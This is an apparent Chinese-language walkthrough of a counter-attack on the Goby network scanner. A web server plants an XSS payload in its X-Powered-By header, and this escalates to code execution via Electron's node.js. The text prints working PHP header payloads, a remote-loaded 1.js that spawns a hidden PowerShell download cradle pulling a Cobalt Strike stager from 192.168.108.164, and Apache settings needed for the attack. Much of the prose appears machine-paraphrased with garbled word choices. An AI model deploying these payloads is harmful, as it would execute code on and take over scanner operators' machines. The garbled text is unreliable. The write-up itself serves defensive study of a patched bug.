我们也可以自定义一个X-Powered-By 头来滋扰Goby进行指纹识别,例如在代码中加入
<?phpheader("X-Powered-By: yuzi");?>
当我们我们再次发包查看会创造X-Powered-By: yuzi
而对付Nginx中间件的网站默认不会包含X-Powered-By,须要自己布局X-Powered-By才显示,比拟Apache中间件网站会安全一些

对付其他中间件来说
• Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0• IIS:默认添加,例如 X-Powered-By: http://ASP.NET• Jetty:默认添加,例如 X-Powered-By: Jetty反制复现• 环境准备:红队蓝队IP192.168.108.144192.168.108.164版本Goby v1.8.230 betaphpstudy2016
注:受到反制影响的Goby版本应 < 2.0.0
Goby历史版本下载:https://gobysec.net/updates?v=15#Beta(1.9.325)%E2%80%A2Feb16,2022
• Nginx环境复现
在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段
<?phpheader("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=alert(/helloworld/)>");?>//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处该当为tab键//标签内语句中若存在双引号则要反斜杠(\)对其进行转义,如<img\tsrc=\"x\"\tonerror=\"alert(/helloworld/);\">//若数字在弹窗内容中则无需在两边加斜杠(/),如<img\tsrc=1\tonerror=\"alert(1);\">
此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果
当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页布局的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被实行
在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload
由于Goby利用Electron构建客户端软件,Electron用的是node.js,并且node.js能实行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload变动为远程加载JS文件来实行命令
<?phpheader("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");?>//URL中的:须要用%3A表示,unescape()会复原URL
布局主页payload中须要远程加载的恶意JS文件1.js
(function(){require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.164:100/a\'))"');})();//exec()内可以实行任意的系统命令例如exec('calc.exe');弹出打算机,这里通过CS的powershell命令实行进行上线//若须要实行上线CS的命令的时,要用反斜杠(\)要把单引号转义一下,其他命令不用
在开始之前,由于刚刚Goby演示的扫描结果存在缓存,故正式开始之前该当先退出Goby,重新打开并新建扫描刚刚第一次的步骤来触发变动后的payload
7
为了反制时候达到隐匿效果,常日蜜罐会将payload进行HTML实体编码如
<?phpheader("X-Powered-By: PHP/5.3.29 <img src=1 onerror=import(unescape('http%3A//192.168.108.164/1.js'))>");?>//标签不能编码
到这里,Nginx中间件的网站算是复现成功,但是还没结束,由于Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By布局payload的,因此许多师傅只能在Nginx环境下复现成功,实在Apache环境也是可以复现成功的
• Apache环境复现为了让我们布局的X-Powered-By反面Apache自身默认的X-Powered-By造成冲突,我们须要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空缺处添加ServerTokens Prod//将ServerTokens设置为Prod将隐蔽Apache版本信息和X-Powered-By头添加完后,记得重启Apache做事,按照和Nginx一样的步骤也可以复现成功
末了
此Goby反制虽然是一个已经修复良久的漏洞了,但是基数上还是会有许多人在利用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐,在攻防演习训练中也有可能用得上,故做此剖析供各位师傅参考。